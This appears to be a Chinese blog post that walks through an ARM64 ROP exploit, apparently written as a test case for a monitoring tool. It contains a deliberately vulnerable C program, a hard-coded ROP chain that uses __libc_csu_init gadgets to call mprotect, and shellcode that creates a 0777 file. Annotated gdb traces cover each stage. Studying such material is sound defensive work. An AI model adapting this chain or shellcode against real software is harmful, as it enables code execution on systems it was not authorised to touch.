代码基于一个ctf竞赛的rop用例写成,省去了用pwn进行攻击的过程,减少了工具的使用,方便以后添加到自动化测试用例。
废话不多说,先贴代码:
#include
#include
#include
#include
#include
char * rop_chain =
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"/* padding */
"\x04\x07\x40\x00\x00\x00\x00\x00"/* pc gadget 1 */
"\x00\x00\x00\x00\x00\x00\x00\x00"/* x29 */
"\xe4\x06\x40\x00\x00\x00\x00\x00"/* x30 */
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"/* x19 x20 */
"\x50\x10\x41\x00\x00\x00\x00\x00"/*x21 = bss addr => [x21] = mprotect addr*/
"\x07\x00\x00\x00\x00\x00\x00\x00"/* x22 mprotect.argv[3] mode */
"\x00\x10\x00\x00\x00\x00\x00\x00"/* x23 mp.argc[2] size */
"\x00\x10\x41\x00\x00\x00\x00\x00"/* x24 mp.argc[1] addr */
"\x60\x10\x41\x00\x00\x00\x00\x00"
"\x60\x10\x41\x00\x00\x00\x00\x00"/* ret to shellcode */
;
char * rop_bufer = "\x24\x06\x40\x00\x00\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90"
"\x8e\xae\x8c\xd2\x6e\x8e\xae\xf2\xce\xed\xcd\xf2\x8e\xac\xec\xf2\xef\x03\x1f"
"\xaa\xee\x3f\xbf\xa9\x60\x0c\x80\x92\xe1\x73\x3f\x8b\xa2\x3d\x80\xd2\xe3\x03"
"\x1f\xaa\x28\x04\x80\xd2\x81\x46\x02\xd4\xe0\x03\x1f\xaa\xa8\x0b\x80\xd2\x81"
"\x46\x02\xd4";
char bss_atk[100];
void fake_mp(void)
{
char * addr;
mprotect(addr,1000,7);
}
int over_read(void)
{
char buf[64];
memcpy(buf,rop_chain,0x200);
}
int main(void)
{
/* char *shellbuf = mmap(0,1000,3,0x21,-1,0);
printf("%p\n",shellbuf);
printf("name:\n");
*/
memcpy(bss_atk,rop_bufer,100);
over_read();
return 0;
}
编译选项、环境及原理:
# 环境
uname -a
Linux ky10-desktop 4.4.131-20210319.kylin.pks.desktop-generic #kylin SMP Thu Mar 25 21:37:06 CST 2021 aarch64 aarch64 aarch64 GNU/Linux
/lib/aarch64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0kord11k20.5) stable release version 2.23, by Roland McGrath et al.
# 编译
gcc myrop.c -o myrop -g -fno-stack-protector
# 原理
# 第一个memcpy将mprotect的地址和shellcode写到bss段的数据中
# 第二个memcpy通过溢出,实现rop构造mprotect的参数并return到第一步中的地址中去执行
# mprotect通过修改bss段的权限为可执行,然后在mprotect执行完之后,return到bss的shellcode地址去执行shellcode
# shellcode会创建一个名为testnode的文件,该文件权限为0777
第一次memcpy,将mprotect的地址和shellcode填充到bss段
# 第一次memcpy,将mprotect的地址和shellcode一起写到bss段,此时栈上的数据是正常的,因为这属于正常流程
0x400684 <main+36>: mov x2, x0
0x400688 <main+40>: mov x0, x3
0x40068c <main+44>: bl 0x400470 <memcpy@plt>
=> 0x400690 <main+48>: bl 0x400634 <over_read>
| 0x400694 <main+52>: mov w0, #0x0 // #0
| 0x400698 <main+56>: ldp x29, x30, [sp],#16
| 0x40069c <main+60>: ret
| 0x4006a0 <__libc_csu_init>: stp x29, x30, [sp,#-64]!
|-> 0x400634 <over_read>: stp x29, x30, [sp,#-80]!
0x400638 <over_read+4>: mov x29, sp
0x40063c <over_read+8>: adrp x0, 0x411000
0x400640 <over_read+12>: add x0, x0, #0x38
JUMP is taken
No argument
[---------------------------------------------------------------------------------------------STACK---------------------------------------------------------------------------------------------]
0000| 0x7ffffff410 --> 0x7ffffff420 --> 0x0
0008| 0x7ffffff418 --> 0x7fb7e8e920 (<__libc_start_main+224>: bl 0x7fb7ea2fa8 <exit>)
0016| 0x7ffffff420 --> 0x0
0024| 0x7ffffff428 --> 0x4004e8 (<_start+40>: bl 0x4004a0 <abort@plt>)
0032| 0x7ffffff430 --> 0x0
0040| 0x7ffffff438 --> 0x0
0048| 0x7ffffff440 --> 0x4004c0 (<_start>: mov x29, #0x0 // #0)
0056| 0x7ffffff448 --> 0x0
[-------------------------------------------------------------------------------Legend: code, data, rodata, value-------------------------------------------------------------------------------]
46 over_read();
peda-arm > x/10gx bss_atk
0x411050 <bss_atk>: 0x0000000000400624 0x9090909090909090
0x411060 <bss_atk+16>: 0xf2ae8e6ed28cae8e 0xf2ecac8ef2cdedce
0x411070 <bss_atk+32>: 0xa9bf3feeaa1f03ef 0x8b3f73e192800c60
0x411080 <bss_atk+48>: 0xaa1f03e3d2803da2 0xd4024681d2800428
0x411090 <bss_atk+64>: 0xd2800ba8aa1f03e0 0x00000000d4024681
# 可以看到,bss_atk的第一个内存为400624,恰好是指令bl mprotect@plt的指令地址
# 后面的一些90是nop填充,没什么实际的意义,再后面的数据即 shellcode,对应于地址0x411060
peda-arm > x/10i 0x0000000000400624-0x10
0x400614 <fake_mp+4>: mov x29, sp
0x400618 <fake_mp+8>: mov w2, #0x7 // #7
0x40061c <fake_mp+12>: mov x1, #0x3e8 // #1000
0x400620 <fake_mp+16>: ldr x0, [x29,#24]
0x400624 <fake_mp+20>: bl 0x4004b0 <mprotect@plt> # 这里,bl mprotect
0x400628 <fake_mp+24>: nop
0x40062c <fake_mp+28>: ldp x29, x30, [sp],#32
0x400630 <fake_mp+32>: ret
0x400634 <over_read>: stp x29, x30, [sp,#-80]!
0x400638 <over_read+4>: mov x29, sp
第二次memcpy,利用栈溢出,将over_read函数调用者(即main)的栈布局进行修改
# 第二次memcpy会溢出到栈空间并将上层函数的x29和x30覆盖
# memcpy之前,未溢出的上一层函数栈空间布局 (main的栈布局)
peda-arm > x/10gx 0x7ffffff410
0x7ffffff410: 0x0000007ffffff420 0x0000007fb7e8e920
0x7ffffff420: 0x0000000000000000 0x00000000004004e8
0x7ffffff430: 0x0000000000000000 0x0000000000000000
0x7ffffff440: 0x00000000004004c0 0x0000000000000000
0x7ffffff450: 0x0000000000000000 0x0000000000000000
X30: 0x400654 (<over_read+32>: nop) # 此时的pc刚进入memcpy的plt:=> 0x400470 : adrp x16, 0x411000
# 溢出之后栈空间布局,可以看到,下一次的返回地址被修改到了400704
peda-arm > x/10gx 0x7ffffff410
0x7ffffff410: 0x6161616161616161 0x0000000000400704
0x7ffffff420: 0x0000000000000000 0x00000000004006e4
0x7ffffff430: 0x0000000000000000 0x0000000000000000
0x7ffffff440: 0x0000000000411050 0x0000000000000007
0x7ffffff450: 0x0000000000001000 0x0000000000411000
# 查看此时的栈,发现和顶层的栈好像有问题,按理说#2 层栈应该是lib_start_main
peda-arm > bt
#0 over_read () at myrop.c:37
#1 0x0000000000400694 in main () at myrop.c:46
#2 0x0000000000400704 in __libc_csu_init ()
Backtrace stopped: Cannot access memory at address 0x6161616161616169
# 此时pc所处位置,刚好是第二次memcpy返回处
0x400648 <over_read+20>: add x0, x29, #0x10
0x40064c <over_read+24>: mov x2, #0x200 // #512
0x400650 <over_read+28>: bl 0x400470 <memcpy@plt>
=> 0x400654 <over_read+32>: nop
0x400658 <over_read+36>: ldp x29, x30, [sp],#80
0x40065c <over_read+40>: ret
# 因为arm64会有一个x30寄存器专门存储堆栈,且x29=x30,,位于栈顶,故当前真正的栈为0x7ffffff3c0,其指向的下一个x29即为上一层函数的栈顶0x0000007ffffff410,也既是我们溢出的栈空间
peda-arm > x/10gx 0x7ffffff3c0
0x7ffffff3c0: 0x0000007ffffff410 0x0000000000400694
0x7ffffff3d0: 0x6161616161616161 0x6161616161616161
0x7ffffff3e0: 0x6161616161616161 0x6161616161616161
0x7ffffff3f0: 0x6161616161616161 0x6161616161616161
0x7ffffff400: 0x6161616161616161 0x6161616161616161
因为第二次memcpy将上层函数(main)的栈空间破坏了,故main返回时会回到被构造的rop流程中
# 前面已经对溢出后的main的栈空间 0x7ffffff410 进行了查看,可以知道main执行后会ret到0x0000000000400704
# 查看400704的值,很明显ret后的地址不属于应该有的指令流程,但此时还没有触发我们到监控点,故此处的bt没有任何意义
peda-arm > x/10i 0x0000000000400704-0x10
0x4006f4 <__libc_csu_init+84>: add x19, x19, #0x1
0x4006f8 <__libc_csu_init+88>: blr x3
0x4006fc <__libc_csu_init+92>: cmp x19, x20
0x400700 <__libc_csu_init+96>: b.ne 0x4006e4 <__libc_csu_init+68>
0x400704 <__libc_csu_init+100>: ldp x19, x20, [sp,#16]
0x400708 <__libc_csu_init+104>: ldp x21, x22, [sp,#32]
0x40070c <__libc_csu_init+108>: ldp x23, x24, [sp,#48]
0x400710 <__libc_csu_init+112>: ldp x29, x30, [sp],#64
0x400714 <__libc_csu_init+116>: ret
# 执行到rop流中的__libc_csu_init的返回地址:0x400714 ,此时x30 == 0x4006e4,发现其又ret到了另一个地址,对应汇编为如下,继续追踪
peda-arm > x/10i 0x4006e4-0x8
0x4006dc <__libc_csu_init+60>: cbz x20, 0x400704 <__libc_csu_init+100>
0x4006e0 <__libc_csu_init+64>: mov x19, #0x0 // #0
0x4006e4 <__libc_csu_init+68>: ldr x3, [x21,x19,lsl #3]
0x4006e8 <__libc_csu_init+72>: mov x2, x22
0x4006ec <__libc_csu_init+76>: mov x1, x23
0x4006f0 <__libc_csu_init+80>: mov w0, w24
0x4006f4 <__libc_csu_init+84>: add x19, x19, #0x1
0x4006f8 <__libc_csu_init+88>: blr x3
0x4006fc <__libc_csu_init+92>: cmp x19, x20
0x400700 <__libc_csu_init+96>: b.ne 0x4006e4 <__libc_csu_init+68>
# 在0x4006f8 <__libc_csu_init+88>: blr x3处执行mprotect操作,跟进mprotect触发第一次监控点,并打印堆栈
0x7fb7f3299c: .inst 0x00000000 ; undefined
0x7fb7f329a0 <mprotect>: mov x8, #0xe2 // #226
0x7fb7f329a4 <mprotect+4>: svc #0x0
=> 0x7fb7f329a8 <mprotect+8>: cmn x0, #0xfff
0x7fb7f329ac <mprotect+12>: b.cs 0x7fb7f329b4 <mprotect+20>
0x7fb7f329b0 <mprotect+16>: ret
0x7fb7f329b4 <mprotect+20>: b 0x7fb7e8ea10
0x7fb7f329b8: .inst 0x00000000 ; undefined
[---------------------------------------------------------------------------------------------STACK---------------------------------------------------------------------------------------------]
0000| 0x7ffffff460 --> 0x411060 --> 0xf2ae8e6ed28cae8e
0008| 0x7ffffff468 --> 0x411060 --> 0xf2ae8e6ed28cae8e
0016| 0x7ffffff470 --> 0x0
0024| 0x7ffffff478 --> 0x400624 (<fake_mp+20>: bl 0x4004b0 <mprotect@plt>)
0032| 0x7ffffff480 --> 0x9090909090909090
0040| 0x7ffffff488 --> 0xf2ae8e6ed28cae8e
0048| 0x7ffffff490 --> 0xf2ecac8ef2cdedce
0056| 0x7ffffff498 --> 0xa9bf3feeaa1f03ef
[-------------------------------------------------------------------------------Legend: code, data, rodata, value-------------------------------------------------------------------------------]
0x0000007fb7f329a8 in mprotect () from /lib/aarch64-linux-gnu/libc.so.6
peda-arm > bt
#0 0x0000007fb7f329a8 in mprotect () from /lib/aarch64-linux-gnu/libc.so.6
#1 0x0000000000400628 in fake_mp () at myrop.c:30
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
# 发现此时的栈只有两层,且顶层为bl mprotect指令所在的函数指令的下一行地址,即返回地址,如果按照bl+ret的逻辑判断,这个栈是正常的(这也符合前提静态规则匹配通过)
# 再下一层的ret地址是bss段shellcode的所在的地址了
peda-arm > x/10gx $sp
0x7ffffff460: 0x0000000000411060 0x0000000000411060
0x7ffffff470: 0x0000000000000000 0x0000000000400624
0x7ffffff480: 0x9090909090909090 0xf2ae8e6ed28cae8e
0x7ffffff490: 0xf2ecac8ef2cdedce 0xa9bf3feeaa1f03ef
0x7ffffff4a0: 0x8b3f73e192800c60 0xaa1f03e3d2803da2
peda-arm > p $x30
$6 = 0x400628 # fake_mp中的地址
peda-arm > x/10i 0x400628-0x10
0x400618 <fake_mp+8>: mov w2, #0x7 // #7
0x40061c <fake_mp+12>: mov x1, #0x3e8 // #1000
0x400620 <fake_mp+16>: ldr x0, [x29,#24]
0x400624 <fake_mp+20>: bl 0x4004b0 <mprotect@plt>
0x400628 <fake_mp+24>: nop
0x40062c <fake_mp+28>: ldp x29, x30, [sp],#32
0x400630 <fake_mp+32>: ret
0x400634 <over_read>: stp x29, x30, [sp,#-80]!
0x400638 <over_read+4>: mov x29, sp
0x40063c <over_read+8>: adrp x0, 0x411000
mportect执行完并返回后,会ret到bss的shellcode中执行
# 进入shellcode后,我们执行到svc的返回地址,并观察堆栈的情况
[----------------------------------------------------------------------------------------------CODE---------------------------------------------------------------------------------------------]
0x411084 <bss_atk+52>: mov x3, xzr
0x411088 <bss_atk+56>: mov x8, #0x21 // #33
0x41108c <bss_atk+60>: svc #0x1234
=> 0x411090 <bss_atk+64>: mov x0, xzr
0x411094 <bss_atk+68>: mov x8, #0x5d // #93
0x411098 <bss_atk+72>: svc #0x1234
0x41109c <bss_atk+76>: .inst 0x00000000 ; undefined
0x4110a0 <bss_atk+80>: .inst 0x00000000 ; undefined
[---------------------------------------------------------------------------------------------STACK---------------------------------------------------------------------------------------------]
0000| 0x7ffffff470 ("testnode")
0008| 0x7ffffff478 --> 0x0
0016| 0x7ffffff480 --> 0x9090909090909090
0024| 0x7ffffff488 --> 0xf2ae8e6ed28cae8e
0032| 0x7ffffff490 --> 0xf2ecac8ef2cdedce
0040| 0x7ffffff498 --> 0xa9bf3feeaa1f03ef
0048| 0x7ffffff4a0 --> 0x8b3f73e192800c60
0056| 0x7ffffff4a8 --> 0xaa1f03e3d2803da2
[-------------------------------------------------------------------------------Legend: code, data, rodata, value-------------------------------------------------------------------------------]
0x0000000000411090 in bss_atk ()
peda-arm > bt
#0 0x0000000000411090 in bss_atk ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
# 此时svc执行完之后,返回到r3,可以看到,只有当前的一层栈
peda-arm > x/10gx $sp
0x7ffffff470: 0x65646f6e74736574 0x0000000000000000
0x7ffffff480: 0x9090909090909090 0xf2ae8e6ed28cae8e
0x7ffffff490: 0xf2ecac8ef2cdedce 0xa9bf3feeaa1f03ef
0x7ffffff4a0: 0x8b3f73e192800c60 0xaa1f03e3d2803da2
0x7ffffff4b0: 0xd4024681d2800428 0xd2800ba8aa1f03e0
# sp所指向的地址也不对了